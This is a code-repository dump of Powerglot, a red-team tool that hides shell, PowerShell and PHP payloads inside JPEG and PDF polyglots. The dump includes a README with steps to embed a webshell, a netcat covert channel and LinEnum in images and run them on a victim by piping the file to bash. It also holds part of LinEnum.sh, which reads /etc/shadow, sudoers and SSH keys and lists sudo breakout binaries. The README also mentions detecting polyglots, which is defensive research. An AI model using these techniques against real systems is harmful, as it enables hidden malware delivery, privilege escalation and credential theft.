├── LICENSE ├── README.md ├── cat.jpeg ├── examples ├── LinEnum.sh ├── b64.sh ├── cat-scriptps.jpeg ├── cat-scriptsh.jpeg ├── payload.ps1 ├── sample.pdf ├── test.pdf ├── test.sh └── webshell.php ├── nc-polyglot.png └── powerglot.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Powerglot 2 | 3 | Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. 4 | 5 | In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level protections, being one of the most common payloads scripts developed in powershell. Recent malware and APTs make use of some of these capabilities: APT32, APT37, Ursnif, Powload, LightNeuron/Turla, Platinum APT, Waterbug/Turla, Lokibot, The dukes (operation Ghost), Titanium, etc. 6 | 7 | Powerglot is a multifunctional and multi-platform attack and defense tool based on polyglots. Powerglot allows to mask a script (powershell, shellscripting, php, ...) mainly in a digital image, although other file formats are in progress. Unlike the usual offensive tools or malware, Powerglot does not need any loader to execute the "information hidden", minimizing the noise on the target system. 8 | 9 | PowerGlot has a clear utility in offensive tasks but it is also defined as a discovery and blue team tool. To our knowledge, it is the first general and complete open-source tool that allows to search for the presence of masked information with polyglots, information that could be useful to achieve persistence in a system or to hide malware (stego-malware, privilege escalation, lateral movement, reverse shell, etc.) 10 | 11 | Features: 12 | - Encode powershell/shell script/php/.. in a polyglot image. It is not necessary a loader to recover/execute the hidden information (payload). PowerGlot works with several formats. Mainly, JPEG and PDF format. Other formats are in progress. 13 | 14 | - Powerglot is a complete open-source tool to detect (malicious) polyglots, specially the result of some public tools as Truepolyglot or stegoSploit. We works in several formats: JPEG, PNG, GIF, BMP, ZIP, PDF, MP3, etc. 15 | 16 | # Installation 17 | ``` 18 | # git clone https://github.com/mindcrypt/powerglot 19 | # python3 powerglot 20 | ``` 21 | # Usage & Parameters 22 | 23 | Some examples to hide payloads using polyglots with Powerglot 24 | ``` 25 | # Example 1 - Hiding a powershell/php/shell script in a JPEG image 26 | 27 | # python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg 28 | # python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg 29 | # python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg 30 | ``` 31 | ``` 32 | # Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image 33 | 34 | # python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg 35 | # file cat-linenum.jpg (It is a valid JPEG file) 36 | # feh cat-lineum.jpg (The image is properly showed in an image viewer) 37 | 38 | # We can execute the script in several ways: 39 | 40 | a) cat cat-linenum | bash 41 | b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg 42 | 43 | ``` 44 | ``` 45 | # Example 3 - Hiding a cover-channel wiht netcat in a JPEG image 46 | 47 | # Attacker 48 | # echo "nc 127.0.0.1 4444" > netcat.sh 49 | # python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg 50 | # nc -nvlp 4444 51 | 52 | #Victim 53 | # chmod +x cat-netcat.jpg | ./cat-netcat.jpg 54 | ``` 55 | ![Screenshot](nc-polyglot.png) 56 | ``` 57 | # Example 4 - Polyglot in PDF (Ej-linenum.sh) 58 | # Create b64.sh with your favourite payload 59 | base64 Linenum.sh -w 0 > b64.sh 60 | # Edit b64.sh 61 | echo "code in b64.sh" | base64 -d | bash; 62 | 63 | # python3 powerglot -o b64.sh sample.pdf test.pdf 64 | # file test.pdf 65 | # xpdf test.pdf 66 | 67 | # Execute payload 68 | # cat test.pdf | bash or chmod +x test.pdf; ./test.pdf 69 | ``` 70 | ``` 71 | # Example 5 - Powershell in JPEG (polyglot) 72 | # python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg 73 | # file cat-ps.jpeg 74 | # feh cat-ps.jpeg 75 | 76 | # Execute payload (example) 77 | # cat cat-ps.jpeg | pwsh 78 | 79 | PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#> 80 | 81 | NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName 82 | ------ ----- ----- ------ -- -- ----------- 83 | 0 0,00 2,70 0,00 830 829 (sd-pam) 84 | 0 0,00 0,00 0,00 75 0 acpi_thermal_pm 85 | 0 0,00 4,80 0,00 1217 854 agent 86 | 0 0,00 1,70 0,00 748 748 agetty 87 | 0 0,00 40,77 1,01 1198 854 applet.py 88 | 0 0,00 6,29 0,00 938 938 at-spi-bus-launcher 89 | 0 0,00 6,61 5,64 953 938 at-spi2-registryd 90 | 0 0,00 0,00 0,00 131 0 ata_sff 91 | 0 0,00 1,77 0,00 8906 …78 atom 92 | 0 0,00 218,81 585,95 8908 …78 atom 93 | 0 0,00 236,18 176,24 8947 …78 atom 94 | 0 0,00 142,14 2,51 9009 …78 atom 95 | 0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -… 96 | 0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox 97 | 0 0,00 5,62 0,11 1370 …70 bash 98 | 0 0,00 5,36 0,66 5278 …78 bash 99 | 0 0,00 6,34 1,48 6778 …78 bash 100 | 0 0,00 0,00 0,00 68 0 blkcg_punt_bio 101 | 0 0,00 46,73 2,20 1199 854 blueman-applet 102 | 0 0,00 50,25 1,64 1301 854 blueman-tray 103 | ``` 104 | Some examples to detect polyglots in our filesystem 105 | ``` 106 | #python3 powerglot.py -d ./ 107 | --= [Detecting polyglots] --= 108 | .............................................................. 109 | [Suspicious file]-[ ./cat-end-extra2.jpg ].. 110 | [Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->] 111 | ................................................................................. 112 | [Suspicious file]-[ ./cat-end-extra1.jpg ].. 113 | ``` 114 | 115 | # Future work. Doing 116 | - We are working to support different file formats for encoding information in polyglots. Currently, we support several techniques in JPEG and PDF. 117 | - We are working to incorporate rules for the detection of polyglots in different formats. Currently, the presence of StegoSploit in JPEG files is detected (added */ --> after FFD9) 118 | 119 | # Author & license 120 | 121 | This project has been developed by Dr. Alfonso Muñoz and Abraham Pasamar. The code is released under the GNU General Public License v3. 122 | 123 | 124 | -------------------------------------------------------------------------------- /cat.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/cat.jpeg -------------------------------------------------------------------------------- /examples/LinEnum.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #A script to enumerate local information from a Linux host 3 | version="version 0.982" 4 | #@rebootuser 5 | 6 | #help function 7 | usage () 8 | { 9 | echo -e "\n\e[00;31m#########################################################\e[00m" 10 | echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 11 | echo -e "\e[00;31m#########################################################\e[00m" 12 | echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m" 13 | echo -e "\e[00;33m# $version\e[00m\n" 14 | echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" 15 | 16 | echo "OPTIONS:" 17 | echo "-k Enter keyword" 18 | echo "-e Enter export location" 19 | echo "-s Supply user password for sudo checks (INSECURE)" 20 | echo "-t Include thorough (lengthy) tests" 21 | echo "-r Enter report name" 22 | echo "-h Displays this help text" 23 | echo -e "\n" 24 | echo "Running with no options = limited scans/no output file" 25 | 26 | echo -e "\e[00;31m#########################################################\e[00m" 27 | } 28 | header() 29 | { 30 | echo -e "\n\e[00;31m#########################################################\e[00m" 31 | echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 32 | echo -e "\e[00;31m#########################################################\e[00m" 33 | echo -e "\e[00;33m# www.rebootuser.com\e[00m" 34 | echo -e "\e[00;33m# $version\e[00m\n" 35 | 36 | } 37 | 38 | debug_info() 39 | { 40 | echo "[-] Debug Info" 41 | 42 | if [ "$keyword" ]; then 43 | echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" 44 | fi 45 | 46 | if [ "$report" ]; then 47 | echo "[+] Report name = $report" 48 | fi 49 | 50 | if [ "$export" ]; then 51 | echo "[+] Export location = $export" 52 | fi 53 | 54 | if [ "$thorough" ]; then 55 | echo "[+] Thorough tests = Enabled" 56 | else 57 | echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" 58 | fi 59 | 60 | sleep 2 61 | 62 | if [ "$export" ]; then 63 | mkdir $export 2>/dev/null 64 | format=$export/LinEnum-export-`date +"%d-%m-%y"` 65 | mkdir $format 2>/dev/null 66 | fi 67 | 68 | if [ "$sudopass" ]; then 69 | echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m" 70 | read -s userpassword 71 | echo 72 | fi 73 | 74 | who=`whoami` 2>/dev/null 75 | echo -e "\n" 76 | 77 | echo -e "\e[00;33mScan started at:"; date 78 | echo -e "\e[00m\n" 79 | } 80 | 81 | # useful binaries (thanks to https://gtfobins.github.io/) 82 | binarylist='aria2c\|arp\|ash\|awk\|base64\|bash\|busybox\|cat\|chmod\|chown\|cp\|csh\|curl\|cut\|dash\|date\|dd\|diff\|dmsetup\|docker\|ed\|emacs\|env\|expand\|expect\|file\|find\|flock\|fmt\|fold\|ftp\|gawk\|gdb\|gimp\|git\|grep\|head\|ht\|iftop\|ionice\|ip$\|irb\|jjs\|jq\|jrunscript\|ksh\|ld.so\|ldconfig\|less\|logsave\|lua\|make\|man\|mawk\|more\|mv\|mysql\|nano\|nawk\|nc\|netcat\|nice\|nl\|nmap\|node\|od\|openssl\|perl\|pg\|php\|pic\|pico\|python\|readelf\|rlwrap\|rpm\|rpmquery\|rsync\|ruby\|run-parts\|rvim\|scp\|script\|sed\|setarch\|sftp\|sh\|shuf\|socat\|sort\|sqlite3\|ssh$\|start-stop-daemon\|stdbuf\|strace\|systemctl\|tail\|tar\|taskset\|tclsh\|tee\|telnet\|tftp\|time\|timeout\|ul\|unexpand\|uniq\|unshare\|vi\|vim\|watch\|wget\|wish\|xargs\|xxd\|zip\|zsh' 83 | 84 | system_info() 85 | { 86 | echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 87 | 88 | #basic kernel info 89 | unameinfo=`uname -a 2>/dev/null` 90 | if [ "$unameinfo" ]; then 91 | echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 92 | echo -e "\n" 93 | fi 94 | 95 | procver=`cat /proc/version 2>/dev/null` 96 | if [ "$procver" ]; then 97 | echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 98 | echo -e "\n" 99 | fi 100 | 101 | #search all *-release files for version info 102 | release=`cat /etc/*-release 2>/dev/null` 103 | if [ "$release" ]; then 104 | echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 105 | echo -e "\n" 106 | fi 107 | 108 | #target hostname info 109 | hostnamed=`hostname 2>/dev/null` 110 | if [ "$hostnamed" ]; then 111 | echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 112 | echo -e "\n" 113 | fi 114 | } 115 | 116 | user_info() 117 | { 118 | echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 119 | 120 | #current user details 121 | currusr=`id 2>/dev/null` 122 | if [ "$currusr" ]; then 123 | echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 124 | echo -e "\n" 125 | fi 126 | 127 | #last logged on user information 128 | lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` 129 | if [ "$lastlogedonusrs" ]; then 130 | echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 131 | echo -e "\n" 132 | fi 133 | 134 | #who else is logged on 135 | loggedonusrs=`w 2>/dev/null` 136 | if [ "$loggedonusrs" ]; then 137 | echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 138 | echo -e "\n" 139 | fi 140 | 141 | #lists all id's and respective group(s) 142 | grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null` 143 | if [ "$grpinfo" ]; then 144 | echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo" 145 | echo -e "\n" 146 | fi 147 | 148 | #added by phackt - look for adm group (thanks patrick) 149 | adm_users=$(echo -e "$grpinfo" | grep "(adm)") 150 | if [[ ! -z $adm_users ]]; 151 | then 152 | echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users" 153 | echo -e "\n" 154 | fi 155 | 156 | #checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) 157 | hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` 158 | if [ "$hashesinpasswd" ]; then 159 | echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 160 | echo -e "\n" 161 | fi 162 | 163 | #contents of /etc/passwd 164 | readpasswd=`cat /etc/passwd 2>/dev/null` 165 | if [ "$readpasswd" ]; then 166 | echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 167 | echo -e "\n" 168 | fi 169 | 170 | if [ "$export" ] && [ "$readpasswd" ]; then 171 | mkdir $format/etc-export/ 2>/dev/null 172 | cp /etc/passwd $format/etc-export/passwd 2>/dev/null 173 | fi 174 | 175 | #checks to see if the shadow file can be read 176 | readshadow=`cat /etc/shadow 2>/dev/null` 177 | if [ "$readshadow" ]; then 178 | echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 179 | echo -e "\n" 180 | fi 181 | 182 | if [ "$export" ] && [ "$readshadow" ]; then 183 | mkdir $format/etc-export/ 2>/dev/null 184 | cp /etc/shadow $format/etc-export/shadow 2>/dev/null 185 | fi 186 | 187 | #checks to see if /etc/master.passwd can be read - BSD 'shadow' variant 188 | readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` 189 | if [ "$readmasterpasswd" ]; then 190 | echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 191 | echo -e "\n" 192 | fi 193 | 194 | if [ "$export" ] && [ "$readmasterpasswd" ]; then 195 | mkdir $format/etc-export/ 2>/dev/null 196 | cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null 197 | fi 198 | 199 | #all root accounts (uid 0) 200 | superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null` 201 | if [ "$superman" ]; then 202 | echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman" 203 | echo -e "\n" 204 | fi 205 | 206 | #pull out vital sudoers info 207 | sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null` 208 | if [ "$sudoers" ]; then 209 | echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers" 210 | echo -e "\n" 211 | fi 212 | 213 | if [ "$export" ] && [ "$sudoers" ]; then 214 | mkdir $format/etc-export/ 2>/dev/null 215 | cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null 216 | fi 217 | 218 | #can we sudo without supplying a password 219 | sudoperms=`echo '' | sudo -S -l -k 2>/dev/null` 220 | if [ "$sudoperms" ]; then 221 | echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 222 | echo -e "\n" 223 | fi 224 | 225 | #check sudo perms - authenticated 226 | if [ "$sudopass" ]; then 227 | if [ "$sudoperms" ]; then 228 | : 229 | else 230 | sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null` 231 | if [ "$sudoauth" ]; then 232 | echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 233 | echo -e "\n" 234 | fi 235 | fi 236 | fi 237 | 238 | ##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated 239 | if [ "$sudopass" ]; then 240 | if [ "$sudoperms" ]; then 241 | : 242 | else 243 | sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 244 | if [ "$sudopermscheck" ]; then 245 | echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 246 | echo -e "\n" 247 | fi 248 | fi 249 | fi 250 | 251 | #known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) 252 | sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 253 | if [ "$sudopwnage" ]; then 254 | echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 255 | echo -e "\n" 256 | fi 257 | 258 | #who has sudoed in the past 259 | whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null` 260 | if [ "$whohasbeensudo" ]; then 261 | echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 262 | echo -e "\n" 263 | fi 264 | 265 | #checks to see if roots home directory is accessible 266 | rthmdir=`ls -ahl /root/ 2>/dev/null` 267 | if [ "$rthmdir" ]; then 268 | echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 269 | echo -e "\n" 270 | fi 271 | 272 | #displays /home directory permissions - check if any are lax 273 | homedirperms=`ls -ahl /home/ 2>/dev/null` 274 | if [ "$homedirperms" ]; then 275 | echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 276 | echo -e "\n" 277 | fi 278 | 279 | #looks for files we can write to that don't belong to us 280 | if [ "$thorough" = "1" ]; then 281 | grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 282 | if [ "$grfilesall" ]; then 283 | echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 284 | echo -e "\n" 285 | fi 286 | fi 287 | 288 | #looks for files that belong to us 289 | if [ "$thorough" = "1" ]; then 290 | ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 291 | if [ "$ourfilesall" ]; then 292 | echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall" 293 | echo -e "\n" 294 | fi 295 | fi 296 | 297 | #looks for hidden files 298 | if [ "$thorough" = "1" ]; then 299 | hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 300 | if [ "$hiddenfiles" ]; then 301 | echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles" 302 | echo -e "\n" 303 | fi 304 | fi 305 | 306 | #looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch 307 | if [ "$thorough" = "1" ]; then 308 | wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` 309 | if [ "$wrfileshm" ]; then 310 | echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 311 | echo -e "\n" 312 | fi 313 | fi 314 | 315 | if [ "$thorough" = "1" ]; then 316 | if [ "$export" ] && [ "$wrfileshm" ]; then 317 | mkdir $format/wr-files/ 2>/dev/null 318 | for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null 319 | fi 320 | fi 321 | 322 | #lists current user's home directory contents 323 | if [ "$thorough" = "1" ]; then 324 | homedircontents=`ls -ahl ~ 2>/dev/null` 325 | if [ "$homedircontents" ] ; then 326 | echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 327 | echo -e "\n" 328 | fi 329 | fi 330 | 331 | #checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch 332 | if [ "$thorough" = "1" ]; then 333 | sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` 334 | if [ "$sshfiles" ]; then 335 | echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 336 | echo -e "\n" 337 | fi 338 | fi 339 | 340 | if [ "$thorough" = "1" ]; then 341 | if [ "$export" ] && [ "$sshfiles" ]; then 342 | mkdir $format/ssh-files/ 2>/dev/null 343 | for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null 344 | fi 345 | fi 346 | 347 | #is root permitted to login via ssh 348 | sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` 349 | if [ "$sshrootlogin" = "yes" ]; then 350 | echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 351 | echo -e "\n" 352 | fi 353 | } 354 | 355 | environmental_info() 356 | { 357 | echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 358 | 359 | #env information 360 | envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` 361 | if [ "$envinfo" ]; then 362 | echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 363 | echo -e "\n" 364 | fi 365 | 366 | #check if selinux is enabled 367 | sestatus=`sestatus 2>/dev/null` 368 | if [ "$sestatus" ]; then 369 | echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus" 370 | echo -e "\n" 371 | fi 372 | 373 | #phackt 374 | 375 | #current path configuration 376 | pathinfo=`echo $PATH 2>/dev/null` 377 | if [ "$pathinfo" ]; then 378 | pathswriteable=`ls -ld $(echo $PATH | tr ":" " ")` 379 | echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 380 | echo -e "$pathswriteable" 381 | echo -e "\n" 382 | fi 383 | 384 | #lists available shells 385 | shellinfo=`cat /etc/shells 2>/dev/null` 386 | if [ "$shellinfo" ]; then 387 | echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 388 | echo -e "\n" 389 | fi 390 | 391 | #current umask value with both octal and symbolic output 392 | umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null` 393 | if [ "$umaskvalue" ]; then 394 | echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 395 | echo -e "\n" 396 | fi 397 | 398 | #umask value as in /etc/login.defs 399 | umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null` 400 | if [ "$umaskdef" ]; then 401 | echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 402 | echo -e "\n" 403 | fi 404 | 405 | #password policy information as stored in /etc/login.defs 406 | logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null` 407 | if [ "$logindefs" ]; then 408 | echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 409 | echo -e "\n" 410 | fi 411 | 412 | if [ "$export" ] && [ "$logindefs" ]; then 413 | mkdir $format/etc-export/ 2>/dev/null 414 | cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null 415 | fi 416 | } 417 | 418 | job_info() 419 | { 420 | echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 421 | 422 | #are there any cron jobs configured 423 | cronjobs=`ls -la /etc/cron* 2>/dev/null` 424 | if [ "$cronjobs" ]; then 425 | echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 426 | echo -e "\n" 427 | fi 428 | 429 | #can we manipulate these jobs in any way 430 | cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 431 | if [ "$cronjobwwperms" ]; then 432 | echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 433 | echo -e "\n" 434 | fi 435 | 436 | #contab contents 437 | crontabvalue=`cat /etc/crontab 2>/dev/null` 438 | if [ "$crontabvalue" ]; then 439 | echo -e "\e[00;31m[-] 